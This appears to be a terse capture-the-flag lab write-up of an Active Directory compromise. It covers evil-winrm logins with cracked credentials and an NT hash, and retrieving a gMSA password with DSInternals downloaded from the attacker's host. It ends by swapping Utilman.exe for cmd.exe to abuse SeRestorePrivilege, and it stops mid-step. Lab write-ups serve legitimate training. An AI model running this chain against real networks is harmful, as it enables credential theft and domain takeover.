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Now visiting our ip: while running responder: We can crack it: Now logging in with evil-winrm:

evil-winrm -i 192.168.180.165 -u enox -p 'california'

Found a todo list: Could do something with gMSA

gMSA

Now to find gMSA:

Get-ADServiceAccount -Filter * -Properties * | Select SamAccountName,PrincipalsAllowedToRetrieveManagedPassword,msDS-ManagedPasswordInterval,ServicePrincipalNames

Web Admins are allowed to retrieve the password: We belong to Web Admins.

To get password blob:

Get-ADServiceAccount  -Identity svc_apache -Properties 'msDS-ManagedPassword'

Now using DSInternals

wget http://192.168.45.167/DSInternals.zip -o DSInternals.zip
Unblock-File DSInternals.zip
Expand-Archive DSInternals.zip
cd DSInternals
cd DSInternals
import-module .\DSInternals.psd1

Now store the password as PSCredential object:

$cred = new-object system.management.automation.PSCredential "heist.offsec\svc_apache",(ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword

Now login as svc_apache using PSSession:

Enter-PSSession -ComputerName DC01 -Credential $cred

We can also get NTLM Hashes with:

$gmsa = Get-ADServiceAccount -Identity "svc_apache" -Properties "msDS-ManagedPassword"
$mp = $gmsa.'msDS-ManagedPassword'
(ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword | ConvertTo-NTHash

SeRestorePrivilege

Now logging in with winrm with the hash:

evil-winrm -i 192.168.180.165 -u 'svc_apache$' -H '023145fc00ce8bab62704eb63ab7bdab'

We have SeRestorPrivilege

Now using this page: https://github.com/gtworek/Priv2Admin 

ren "C:/Windows/System32/Utilman.exe"  Utilman.old

ren "C:/Windows/SYstem32/cmd.exe" Utilman.exe

Now we can get to the lockscreen with rdesktop:

rdesktop 192.168.180.254

Now press win + U We can transfer rcat and execute to get a proper shell: